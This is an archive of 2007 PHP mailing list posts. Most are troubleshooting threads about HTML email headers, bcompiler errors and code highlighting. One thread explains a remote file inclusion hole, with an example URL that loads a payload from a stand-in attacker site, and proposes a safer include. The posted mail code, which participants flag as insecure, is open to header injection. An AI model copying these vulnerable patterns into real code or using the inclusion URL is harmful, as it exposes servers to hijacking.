> I am concerned about putting this into production if it happens this often.
> 
> Any ideas?
> 
> 
> P.S. Running PHP 5.2.3 on Mac OS X intel xserve
> 
> Apache 2.2.4
> 


Do you have to bytecompile your scripts? You're using apache, so it's
not a gtk exectutable or such like, so I can only assume you're wanting
to sell/supply your code to third parties? If not then simply don't
bytecompile ;)

Col

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Cannot send a hyperlink

2007-11-15 Thread Brad
Thank you so much!

It worked like a champ first try!
I would have never seen that and have been looking everywhere on the net for
a working example!

Funny thing is, right after is work perfectly twice, my database crashed!

But, this is the technology we play with!

Problem solved and I am going to post this code on the php website for
others to reference!

Thank you!

-Original Message-
From: Stut [mailto:[EMAIL PROTECTED] 
Sent: Thursday, November 15, 2007 10:16 AM
To: Brad
Cc: php-general@lists.php.net
Subject: Re: [PHP] Cannot send a hyperlink

Brad wrote:
> No access to the server command line to install it!
> And, I am into this guy too deep to switch technologies. For the next time
> around, no problem, this time I am just trying to get php to do what it is
> supposed to do.

You don't need command line access to install it. PHPMailer consists of 
PHP only - nothing to install but PHP files. See here: 
http://phpmailer.sourceforge.net/install.php

> The suggestion of mime was presented to me from another kind sole trying
to
> help that knows more than I and recommended on other help files.
> 
> Why is php refusing to parse as html?

And here lies the basic problem. PHP is *not* the thing that's refusing 
to parse it as HTML. Since you don't know that you really should do a 
lot of reading before you try sending HTML emails without using 
something like PHPMailer.

For beeps and farts I've "fixed" your code, but even though it will now 
"work" it is nowhere near the right way to send this type of email, but 
my life is probably going to be too short to tell you what you could 
easily find out yourself.

$email = $_REQUEST['email'];
$fromaddress = '[EMAIL PROTECTED]';
$fromname = 'Zone of success Club';
$eol = "\r\n";
$headers  = 'From: '.$fromname.' <'.$fromaddress.'>'.$eol;
$headers .= 'Reply-To: '.$fromname.' <'.$fromaddress.'>'.$eol;
$headers .= 'Return-Path: '.$fromname.' <'.$fromaddress.'>'.$eol;
$headers .= 'X-Mailer: PHP '.phpversion().$eol;
$headers .= 'Content-Type: text/html; charset=iso-8859-1'.$eol;
$headers .= 'Content-Transfer-Encoding: 8bit';
$subject = 'This is my spam, worship me';
$body = 'http://www.zoneofsuccessclub.com/";>link';
mail($email, $subject, $body, $headers);

Some *important* notes...

* I defined $subject because it tries to use it.
* You don't need to provide the MessageID - your mail server will do 
that for you... correctly.
* You don't need to add two carriage returns at the end of the headers - 
PHP will do that for you.
* This email will be in HTML only which makes it a lot more likely to 
get flagged as spam.
* If you're on a unix-based platform you really should be using the 5th 
parameter to mail, but that's probably going to confuse the hell out of 
you so I won't mention it. D'oh!
* This code is not secure. It's trivial to inject headers (and a body 
too) into the message. You should be validating that $_REQUEST['email'] 
is a valid email address and just a valid email address.

-Stut

-- 
http://stut.net/

> -Original Message-
> From: Stut [mailto:[EMAIL PROTECTED] 
> Sent: Thursday, November 15, 2007 9:46 AM
> To: Brad
> Cc: 'Daniel Brown'; php-general@lists.php.net
> Subject: Re: [PHP] Cannot send a hyperlink
> 
> Brad wrote:
>> Beginning with 
>> $headers .= "--".$htmlalt_mime_boundary.$eol;
>> It starts to read it as text and not html??
>>
>> Could this be a server side problem?
>>
>> $email = $_REQUEST['email'] ;
>> $fromaddress .= '[EMAIL PROTECTED]';
>> $fromname .= 'Zone of success Club';
>> $eol="\r\n";
>> $headers  = "From: ".$fromname."<".$fromaddress.">".$eol;
>> $headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
>> $headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
>> $headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
>> $headers .= "X-Mailer: PHP ".phpversion().$eol;
>> $headers .= "--".$htmlalt_mime_boundary.$eol;
>> $headers .= "Content-Type: text/html; charset=iso-8859-1".$eol;
>> $headers .= "Content-Transfer-Encoding: 8bit".$eol.$eol;
>> $body = "http://www.zoneofsuccessclub.com\";>link \n";
>> mail($email, $subject, $body, $headers);
> 
> You should not have a mime boundary in your headers. Why not use 
> PHPMailer? All this (apparently) complicated stuff is already 
> implemented for you. Either that or spend a few days learning about the 
> structure of emails by following the links Daniel Brown sent you a few 
> emails ago.
> 
> PHPMailer can be found here: http://phpmailer.sf.net/
> 
> -Stut
> 

No virus found in this incoming message.
Checked by AVG Free Edition. 
Version: 7.5.503 / Virus Database: 269.15.32/1131 - Release Date: 11/14/2007
4:54 PM
 

No virus found in this outgoing message.
Checked by AVG Free Edition. 
Version: 7.5.503 / Virus Database: 269.15.32/1131 - Release Date: 11/14/2007
4:54 PM
 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Bcompiler errors

2007-11-15 Thread Daniel Brown
On Nov 15, 2007 11:05 AM, Mike Yrabedra <[EMAIL PROTECTED]> wrote:
> on 11/15/07 10:55 AM, Daniel Brown at [EMAIL PROTECTED] wrote:
>
> > On Nov 15, 2007 10:31 AM, Mike Yrabedra <[EMAIL PROTECTED]> wrote:
> >>
> >> Hello,
> >>
> >>
> >> I am getting these errors all the time now, on multiple scripts at random
> >> times.
> >>
> >> Warning: bcompiler: Bad bytecode file format at  in Unknown on line
> >> 0
> >>
> >> This tells me it has to be PHP in some fashion.
> >>
> >> Only thing I have found is this...
> >>
> >> http://pecl.php.net/bugs/bug.php?id=10742
> >>
> >> I am unsure as to where I need to go from here?
> >>
> >> I am concerned about putting this into production if it happens this often.
> >>
> >> Any ideas?
> >>
> >>
> >> P.S. Running PHP 5.2.3 on Mac OS X intel xserve
> >>
> >> Apache 2.2.4
> >>
> >> --
> >> Mike Yrabedra B^)>
> >>
> >> --
> >> PHP General Mailing List (http://www.php.net/)
> >> To unsubscribe, visit: http://www.php.net/unsub.php
> >>
> >>
> >
> > If it's an encoded file, it might be corrupted.  Make sure it was
> > uploaded in binary mode, and that there are no trailing whitespaces or
> > newlines.
> >
>
>
> Nope, not encrypted.
>
>
>
> Also, reloading the same page almost always fixes the problem and the page
> loads.
>
>
> --
> Mike Yrabedra B^)>
>
>
>
>

Voodoo.

Are you using XDebug, by chance?

-- 
Daniel P. Brown
[office] (570-) 587-7080 Ext. 272
[mobile] (570-) 766-8107

If at first you don't succeed, stick to what you know best so that you
can make enough money to pay someone else to do it for you.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Cannot send a hyperlink

2007-11-15 Thread T . Lensselink
On Thu, 15 Nov 2007 09:58:59 -0500, "Brad" <[EMAIL PROTECTED]> wrote:
> Still parsing as text and not html!
> 
> http://www.zoneofsuccessclub.com";>link 
> //http://www.zoneofsuccessclub.com";>link 
> 
> $email = $_REQUEST['email'] ;
> $fromaddress .= '[EMAIL PROTECTED]';
> $fromname .= 'Zone of success Club';
> $eol="\r\n";
> $headers  = "From: ".$fromname."<".$fromaddress.">".$eol;
> $headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
> $headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
> $headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
> $headers .= "X-Mailer: PHP ".phpversion().$eol;
> $body .= "--".$htmlalt_mime_boundary.$eol;
> $body .= "Content-Type: text/html; charset=iso-8859-1".$eol;
> $body .= "Content-Transfer-Encoding: 8bit".$eol.$eol;
> $body = "http://www.zoneofsuccessclub.com\";>link \n";
> mail($email, $subject, $body, $headers);
> 
> -Original Message-
> From: Per Jessen [mailto:[EMAIL PROTECTED] 
> Sent: Thursday, November 15, 2007 9:48 AM
> To: php-general@lists.php.net
> Subject: RE: [PHP] Cannot send a hyperlink
> 
> Brad wrote:
> 
>> Beginning with
>> $headers .= "--".$htmlalt_mime_boundary.$eol;
>> It starts to read it as text and not html??
>> 
>> Could this be a server side problem?
> 
> Nope.
> 
>> $email = $_REQUEST['email'] ;
>> $fromaddress .= '[EMAIL PROTECTED]';
>> $fromname .= 'Zone of success Club';
>> $eol="\r\n";
>> $headers  = "From: ".$fromname."<".$fromaddress.">".$eol;
>> $headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
>> $headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
>> $headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
>> $headers .= "X-Mailer: PHP ".phpversion().$eol;
>> $headers .= "--".$htmlalt_mime_boundary.$eol;
>> $headers .= "Content-Type: text/html; charset=iso-8859-1".$eol;
>> $headers .= "Content-Transfer-Encoding: 8bit".$eol.$eol;
>> $body = "http://www.zoneofsuccessclub.com\";>link \n";
> 
> You have a MIME boundary where it doesn't belong.  MIME boundaries are
> for the body, not the header. 
> 
> 
> /Per Jessen, Zürich

Exactly. The boundry should be part of the body. And i agree with stut.
Just use 
PHPMailer for this stuff. That's what it's for.

When sending mail from PHP i always make sure there is a fallback for
clients
that don't accept HTML mail. When using your snippet my mail ends up in the
junkmail
box. And it's not HTML either. The headers are messed up. So a small
example:

$boundary = md5(uniqid(rand(), true));

$headers = "From: name <[EMAIL PROTECTED]>\r\n";
$headers .= "To: name <[EMAIL PROTECTED]>\r\n";
$headers .= "Subject: some subject\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: multipart/alternative; boundary=" . $boundary .
"\r\n";

$body = "\r\n\r\n--" . $boundary . "\r\n";
$body .= "Content-Type: text/plain; charset=iso-8859-1\r\n\r\n";

$body .= "... plain text test version ";

$body .= "\r\n\r\n--" . $boundary . "\r\n";
$body .= "Content-Type: text/richtext; charset=iso-8859-1\r\n";

$body .= " richtext test version ...";

$body .= "\r\n\r\n--" . $boundary . "\r\n";
$body .= "Content-Type: text/html; charset=iso-8859-1\r\n";

$body .= " HTML version ...";

$body .= "\r\n\r\n--" . $boundary . "--\r\n";

mail("[EMAIL PROTECTED]", "(some subject)", $body, $headers);

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Cannot send a hyperlink

2007-11-15 Thread Daniel Brown
On Nov 15, 2007 9:41 AM, Brad <[EMAIL PROTECTED]> wrote:
> Beginning with
> $headers .= "--".$htmlalt_mime_boundary.$eol;
> It starts to read it as text and not html??
>
> Could this be a server side problem?

Negative.  It's client-side error E304, resulting from a
null-pointer exception between the chair and keyboard.

-- 
Daniel P. Brown
[office] (570-) 587-7080 Ext. 272
[mobile] (570-) 766-8107

If at first you don't succeed, stick to what you know best so that you
can make enough money to pay someone else to do it for you.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Is there a ' Beginner's ' PHP List

2007-11-15 Thread Jason Pruim


On Nov 15, 2007, at 10:17 AM, Daniel Brown wrote:

On Nov 14, 2007 10:29 PM, Instruct ICC <[EMAIL PROTECTED]>  
wrote:

I'm going to have to move this to gmail to keep it threaded better.


   As long as the subject doesn't change, it works great.
Unfortunately, I don't think Gmail uses message IDs for threading.

--
Daniel P. Brown
[office] (570-) 587-7080 Ext. 272
[mobile] (570-) 766-8107

If at first you don't succeed, stick to what you know best so that you
can make enough money to pay someone else to do it for you.


Lets see how good gmail handles the changes to the subject :) All the  
same letters, just added a few spaces. but that's me and my smart ass ;)




--

Jason Pruim
Raoset Inc.
Technology Manager
MQC Specialist
3251 132nd ave
Holland, MI, 49424
www.raoset.com
[EMAIL PROTECTED]

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] installing PHP 5.3 on MAC with mysqlnd support

2007-11-15 Thread Hodicska Gergely

Hi!


Can somebody give me some guideline how to install PHP 5.3 to a Mac 
(intel based) with mysqlnd support?


TIA!


Best Regards,
Felhő

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Cannot send a hyperlink

2007-11-15 Thread Stut

Brad wrote:

My bad,
You do not need command line access!
I should have read more.

I just need to get this puppy working is all.
Php should be able to do this by it's self!


It can, *if* you create the email correctly.

PHPMailer will be quicker to put in than this merry-go-round you're on 
right now. Seriously.


-Stut

--
http://stut.net/


-Original Message-
From: Stut [mailto:[EMAIL PROTECTED] 
Sent: Thursday, November 15, 2007 9:46 AM

To: Brad
Cc: 'Daniel Brown'; php-general@lists.php.net
Subject: Re: [PHP] Cannot send a hyperlink

Brad wrote:
Beginning with 
$headers .= "--".$htmlalt_mime_boundary.$eol;

It starts to read it as text and not html??

Could this be a server side problem?

$email = $_REQUEST['email'] ;
$fromaddress .= '[EMAIL PROTECTED]';
$fromname .= 'Zone of success Club';
$eol="\r\n";
$headers  = "From: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
$headers .= "X-Mailer: PHP ".phpversion().$eol;
$headers .= "--".$htmlalt_mime_boundary.$eol;
$headers .= "Content-Type: text/html; charset=iso-8859-1".$eol;
$headers .= "Content-Transfer-Encoding: 8bit".$eol.$eol;
$body = "http://www.zoneofsuccessclub.com\";>link \n";
mail($email, $subject, $body, $headers);


You should not have a mime boundary in your headers. Why not use 
PHPMailer? All this (apparently) complicated stuff is already 
implemented for you. Either that or spend a few days learning about the 
structure of emails by following the links Daniel Brown sent you a few 
emails ago.


PHPMailer can be found here: http://phpmailer.sf.net/

-Stut



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Is there a 'Beginner's' PHP List

2007-11-15 Thread Daniel Brown
On Nov 14, 2007 10:29 PM, Instruct ICC <[EMAIL PROTECTED]> wrote:
> I'm going to have to move this to gmail to keep it threaded better.

As long as the subject doesn't change, it works great.
Unfortunately, I don't think Gmail uses message IDs for threading.

-- 
Daniel P. Brown
[office] (570-) 587-7080 Ext. 272
[mobile] (570-) 766-8107

If at first you don't succeed, stick to what you know best so that you
can make enough money to pay someone else to do it for you.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] recommendation for a article manager

2007-11-15 Thread Edward Kay
>
> Hi,
> I'm looking for a recommendation for a small easy to use "free" article
> manager.It must be able to fit in with existing site and be able
> to include
> a picture.It does not need an all singing editor a simple form
> system will
> do I can control the look by css.
>

I'm currently doing the same thing to add press releases/news archive in our
existing site. Using Wordpress with a custom theme is working well at the
moment.

HTH,
Edward

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Bcompiler errors

2007-11-15 Thread Daniel Brown
On Nov 15, 2007 10:31 AM, Mike Yrabedra <[EMAIL PROTECTED]> wrote:
>
> Hello,
>
>
> I am getting these errors all the time now, on multiple scripts at random
> times.
>
> Warning: bcompiler: Bad bytecode file format at  in Unknown on line
> 0
>
> This tells me it has to be PHP in some fashion.
>
> Only thing I have found is this...
>
> http://pecl.php.net/bugs/bug.php?id=10742
>
> I am unsure as to where I need to go from here?
>
> I am concerned about putting this into production if it happens this often.
>
> Any ideas?
>
>
> P.S. Running PHP 5.2.3 on Mac OS X intel xserve
>
> Apache 2.2.4
>
> --
> Mike Yrabedra B^)>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>

If it's an encoded file, it might be corrupted.  Make sure it was
uploaded in binary mode, and that there are no trailing whitespaces or
newlines.


-- 
Daniel P. Brown
[office] (570-) 587-7080 Ext. 272
[mobile] (570-) 766-8107

If at first you don't succeed, stick to what you know best so that you
can make enough money to pay someone else to do it for you.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Semi-newbie Question .... streams ...

2007-11-15 Thread Per Jessen
Paul Farr wrote:

> The short version is:  I need to master the download stream for a
> file, while delivering it to the enduser, I need to change some bytes
> in the file data. A simple search and replace. I want to do it in the
> stream, don't want to create a new file each time. 

Assuming you've a URL along the lines of this:

.php?file=

.php:



/Per Jessen, Zürich

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] How does the PHP website colorize the code snippets?

2007-11-15 Thread Daevid Vincent
I want to put a code snippet section on my site and want to colorize them like 
the user comments on any PHP site page.

http://www.php.net/manual/en/language.operators.arithmetic.php

What's the easiest way to do that?

I've used Geshi, but that seems a lot of overhead just to colorize a wee 
bit-o-PHP code.

http://daevid.com

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] file_exists

2007-11-15 Thread Philip Thompson
On Nov 15, 2007 7:16 AM, Stut <[EMAIL PROTECTED]> wrote:

> Instruct ICC wrote:
> >
> >
> >> Date: Thu, 15 Nov 2007 00:20:52 +
> >> From: [EMAIL PROTECTED]
> >> To: [EMAIL PROTECTED]
> >> CC: php-general@lists.php.net
> >> Subject: Re: [PHP] file_exists
> >>
> >> Philip Thompson wrote:
> >>> I've run into similar problems where I *thought* I was looking in the
> >>> correct location... but I wasn't. Take this for example
> >>>
>  $page = $_GET['page'];
> >>> if (file_exists ("$page.php")) {
> >>> include ("$page.php");
> >>> }
> >>> ?>
> >> I really hope this is not a piece of production code. If it is then you
> >> might want to think very hard about what it's doing. If you still can't
> >> see a problem let me know!
> >>
> >> -Stut
> >>
> >> --
> >> http://stut.net/
> >>
> >> --
> >> PHP General Mailing List (http://www.php.net/)
> >> To unsubscribe, visit: http://www.php.net/unsub.php
> >>
> >
> > Called like this?
> >
> > index.php?page=http://evil-hacker-site.com/evil-payload.php
> >
> > And the browser will probably url_encode for me if needed.
>
> Actually in this example that would end up getting evil-payload.php.php
> - probably not what your evil mind wanted. You could do this...
>
> index.php?page=http://evil-hacker-site.com/evil-payload
>
> ...assuming you know it's gonna stick .php on the end. Alternatively you
> could do this...
>
> index.php?page=http://evil-hacker-site.com/evil-payload.php?
>
> Resulting in the appended .php being in the querystring. The easiest way
> to protect your code from this is to always always prefix the string
> with something as well as appending to it. For example...
>
> $page = dirname(__FILE__).'/'.$_GET['page'].'.php';
> if (file_exists ($page)) {
> include ($page);
> }
>
> But that doesn't prevent a malicious user including any PHP file on your
> server. $_GET['page'] should be one of a known set of values. At the
> very least it should be restricted to file in a particular directory.
>
> Something like the following would be much better (untested)...
>
> $page = realpath(dirname(__FILE__).'/inc/'.$_GET['page'].'.php');
> $expecteddir = realpath(dirname(__FILE__).'/inc');
> if (substr($page, 0, strlen($expecteddir)) != $expecteddir)
> {
> // Ideally return a 403 status here
> die('Access denied');
> }
> // Now we know it's a file in the right directory
> if (file_exists($page))
> {
> include($page);
> }
> else
> {
> // Return a 404 status here
> die('Resource not found');
> }
>
> That should lock the requested page to the given directory. If anyone
> can see any way around that I'd be interested in hearing about it.
>
> -Stut
>

Thanks to all who replied. Yes, that was *NOT* production code - merely an
example. I know better than that!! =D

~Philip


Re: [PHP] Re: file_exists

2007-11-15 Thread Casey

I think file_exists returns false for remote files ;)



On Nov 15, 2007, at 2:33 AM, Colin Guthrie <[EMAIL PROTECTED]> wrote:


Instruct ICC wrote:




Date: Thu, 15 Nov 2007 00:20:52 +
From: [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
CC: php-general@lists.php.net
Subject: Re: [PHP] file_exists

Philip Thompson wrote:
I've run into similar problems where I *thought* I was looking in  
the

correct location... but I wasn't. Take this for example


$page = $_GET['page'];

if (file_exists ("$page.php")) {
include ("$page.php");
}
?>
I really hope this is not a piece of production code. If it is  
then you
might want to think very hard about what it's doing. If you still  
can't

see a problem let me know!



Called like this?

index.php?page=http://evil-hacker-site.com/evil-payload.php

And the browser will probably url_encode for me if needed.


Yup very dangerous.

Obviously PHP can be configured ot not include/require remote URIs,  
but

as a defensive programmer you should at very least ensure your
$_GET['page'] var conformes to a validation regexp or something...

Col

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Semi-newbie Question .... streams ...

2007-11-15 Thread Paul Farr
I'm working on one my first PHP projects, and I have extensive
experience with coding, so I know what I want to do is not
outrageous.

The short version is:  I need to master the download stream for a file,
while delivering it to the enduser, I need to change some bytes in the
file data. A simple search and replace. I want to do it in the stream,
don't want to create a new file each time. The data is not a string,
it is in fact a serial number being inserted into an "EXE" download.

I "get" how to do this with ASP, but the active replace in PHP has
me totally lost.

Any hints ?


-- 
Paul S. Farr

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] How does the PHP website colorize the code snippets?

2007-11-15 Thread tedd

On Wed, 14 Nov 2007 23:45:40 -0800, "Daevid Vincent" <[EMAIL PROTECTED]>
wrote:

 I want to put a code snippet section on my site and want to colorize them
 like the user comments on any PHP site page.


Hi:

It was suggested to use php's highlight_string -- I wouldn't do that.

Why don't you use css to style whatever you want?

Instead of allowing php to inject presentation markup into your html, 
just have it add div's, id's and classes and style those as you need. 
It's far less intrusive and IMO easier.


Cheers,

tedd


--
---
http://sperling.com  http://ancientstones.com  http://earthstones.com

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Cannot send a hyperlink

2007-11-15 Thread Brad
Still parsing as text and not html!

http://www.zoneofsuccessclub.com";>link 
//http://www.zoneofsuccessclub.com";>link 

$email = $_REQUEST['email'] ;
$fromaddress .= '[EMAIL PROTECTED]';
$fromname .= 'Zone of success Club';
$eol="\r\n";
$headers  = "From: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
$headers .= "X-Mailer: PHP ".phpversion().$eol;
$body .= "--".$htmlalt_mime_boundary.$eol;
$body .= "Content-Type: text/html; charset=iso-8859-1".$eol;
$body .= "Content-Transfer-Encoding: 8bit".$eol.$eol;
$body = "http://www.zoneofsuccessclub.com\";>link \n";
mail($email, $subject, $body, $headers);

-Original Message-
From: Per Jessen [mailto:[EMAIL PROTECTED] 
Sent: Thursday, November 15, 2007 9:48 AM
To: php-general@lists.php.net
Subject: RE: [PHP] Cannot send a hyperlink

Brad wrote:

> Beginning with
> $headers .= "--".$htmlalt_mime_boundary.$eol;
> It starts to read it as text and not html??
> 
> Could this be a server side problem?

Nope.

> $email = $_REQUEST['email'] ;
> $fromaddress .= '[EMAIL PROTECTED]';
> $fromname .= 'Zone of success Club';
> $eol="\r\n";
> $headers  = "From: ".$fromname."<".$fromaddress.">".$eol;
> $headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
> $headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
> $headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
> $headers .= "X-Mailer: PHP ".phpversion().$eol;
> $headers .= "--".$htmlalt_mime_boundary.$eol;
> $headers .= "Content-Type: text/html; charset=iso-8859-1".$eol;
> $headers .= "Content-Transfer-Encoding: 8bit".$eol.$eol;
> $body = "http://www.zoneofsuccessclub.com\";>link \n";

You have a MIME boundary where it doesn't belong.  MIME boundaries are
for the body, not the header. 


/Per Jessen, Zürich

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

No virus found in this incoming message.
Checked by AVG Free Edition. 
Version: 7.5.503 / Virus Database: 269.15.32/1131 - Release Date: 11/14/2007
4:54 PM
 

No virus found in this outgoing message.
Checked by AVG Free Edition. 
Version: 7.5.503 / Virus Database: 269.15.32/1131 - Release Date: 11/14/2007
4:54 PM
 

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Newbie question - current date - time

2007-11-15 Thread Daniel Brown
On Nov 14, 2007 10:00 PM, Instruct ICC <[EMAIL PROTECTED]> wrote:
> Enough about me.  I never thought I'd say this in earnest...
> RTFM
>
> Have I become like who I've despised?

We all do eventually

-- 
Daniel P. Brown
[office] (570-) 587-7080 Ext. 272
[mobile] (570-) 766-8107

If at first you don't succeed, stick to what you know best so that you
can make enough money to pay someone else to do it for you.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Cannot send a hyperlink

2007-11-15 Thread Brad
No access to the server command line to install it!
And, I am into this guy too deep to switch technologies. For the next time
around, no problem, this time I am just trying to get php to do what it is
supposed to do.

The suggestion of mime was presented to me from another kind sole trying to
help that knows more than I and recommended on other help files.

Why is php refusing to parse as html?

-Original Message-
From: Stut [mailto:[EMAIL PROTECTED] 
Sent: Thursday, November 15, 2007 9:46 AM
To: Brad
Cc: 'Daniel Brown'; php-general@lists.php.net
Subject: Re: [PHP] Cannot send a hyperlink

Brad wrote:
> Beginning with 
> $headers .= "--".$htmlalt_mime_boundary.$eol;
> It starts to read it as text and not html??
> 
> Could this be a server side problem?
> 
> $email = $_REQUEST['email'] ;
> $fromaddress .= '[EMAIL PROTECTED]';
> $fromname .= 'Zone of success Club';
> $eol="\r\n";
> $headers  = "From: ".$fromname."<".$fromaddress.">".$eol;
> $headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
> $headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
> $headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
> $headers .= "X-Mailer: PHP ".phpversion().$eol;
> $headers .= "--".$htmlalt_mime_boundary.$eol;
> $headers .= "Content-Type: text/html; charset=iso-8859-1".$eol;
> $headers .= "Content-Transfer-Encoding: 8bit".$eol.$eol;
> $body = "http://www.zoneofsuccessclub.com\";>link \n";
> mail($email, $subject, $body, $headers);

You should not have a mime boundary in your headers. Why not use 
PHPMailer? All this (apparently) complicated stuff is already 
implemented for you. Either that or spend a few days learning about the 
structure of emails by following the links Daniel Brown sent you a few 
emails ago.

PHPMailer can be found here: http://phpmailer.sf.net/

-Stut

-- 
http://stut.net/

> -Original Message-
> From: Daniel Brown [mailto:[EMAIL PROTECTED] 
> Sent: Wednesday, November 14, 2007 11:09 AM
> To: Brad
> Cc: [EMAIL PROTECTED]; php-general@lists.php.net
> Subject: Re: [PHP] Cannot send a hyperlink
> 
> Brad,
> 
> That code is a mess and highly incorrect, even at a novice level.
> Let me give you a hand
> 
> On Nov 14, 2007 10:31 AM, Brad <[EMAIL PROTECTED]> wrote:
>> I implemented the proposed code, and emails are not being sent?
>>
>> Any suggestions?
>>
>> Here is the code
>>
>> >
>>   $email = $_REQUEST['email'] ;
>>   $eol="\r\n";
>>   $headers .= "From: ".$fromname."<".$fromaddress.">".$eol;
>>   $headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
>>   $headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
>>   $headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
>>   $headers .= "X-Mailer: PHP ".phpversion().$eol;
>>   $msg .= "--".$htmlalt_mime_boundary.$eol;
>>   $msg .= "Content-Type: text/html; charset=iso-8859-1".$eol;
>>   $msg .= "Content-Transfer-Encoding: 8bit".$eol.$eol;
>>   $body.='link ';
>>   $msg .= $body.$eol.$eol;
>>   mail($to, $subject, $msg, $headers);
>>
>> ?>
> 
> [snip]
> 
> 1.) You reference $to in the mail() function, but there is no $to
> defined.  Instead, either change $email to $to or vice-versa.
> 2.) You don't need to start the first line of a variable off with
> a .= --- this will append to an existing variable of the same name, if
> it exists.
> 3.) You change your quoting style where it's not necessary.  All
> $msg lines should be using double quotes in your code above.
> 4.)  5.) You have things in the message body that should be in the headers.
> 6.) You don't need to do a carriage return and newline in the
> message body.  A simple \n will suffice.
> 7.) I'm not sure what you hoped to achieve with the
> "'.www.domain.com.'" conglomerate, but don't.  That makes PHP
> think that the domain is some sort of internally-defined variable of
> horrible construct.
> 8.) You should use http:// prior to the FQDN.
> 
> Taking hints from what appears to be your code, this is how it should
> be:
>  $email = $_REQUEST['email'] ;
> $eol="\r\n";
> $headers  = "From: ".$fromname."<".$fromaddress.">".$eol;
> $headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
> $headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
> $headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
> $headers .= "X-Mailer: PHP ".phpversion().$eol;
> $headers .= "--".$htmlalt_mime_boundary.$eol;
> $headers .= "Content-Type: text/html; charset=iso-8859-1".$eol;
> $headers .= "Content-Transfer-Encoding: 8bit".$eol.$eol;
> $body = "http://www.zoneofsuccessclub.com\";>link \n";
> mail($email, $subject, $body, $headers);
> ?>
> 
> Prior to asking a bunch of questions on the list, which seriously
> puts you at risk for being flamed or ignored, check out these
> references:
> http://www.bath.ac.uk/bucs/email/anatomy.shtml  [Anatomy of an
> Email Message]
> http://www.php.net/mail  [PHP Mail Functions]
> http://www.htmlgoodies.com/primers/html/  [Begi

RE: [PHP] Cannot send a hyperlink

2007-11-15 Thread Per Jessen
Brad wrote:

> Beginning with
> $headers .= "--".$htmlalt_mime_boundary.$eol;
> It starts to read it as text and not html??
> 
> Could this be a server side problem?

Nope.

> $email = $_REQUEST['email'] ;
> $fromaddress .= '[EMAIL PROTECTED]';
> $fromname .= 'Zone of success Club';
> $eol="\r\n";
> $headers  = "From: ".$fromname."<".$fromaddress.">".$eol;
> $headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
> $headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
> $headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
> $headers .= "X-Mailer: PHP ".phpversion().$eol;
> $headers .= "--".$htmlalt_mime_boundary.$eol;
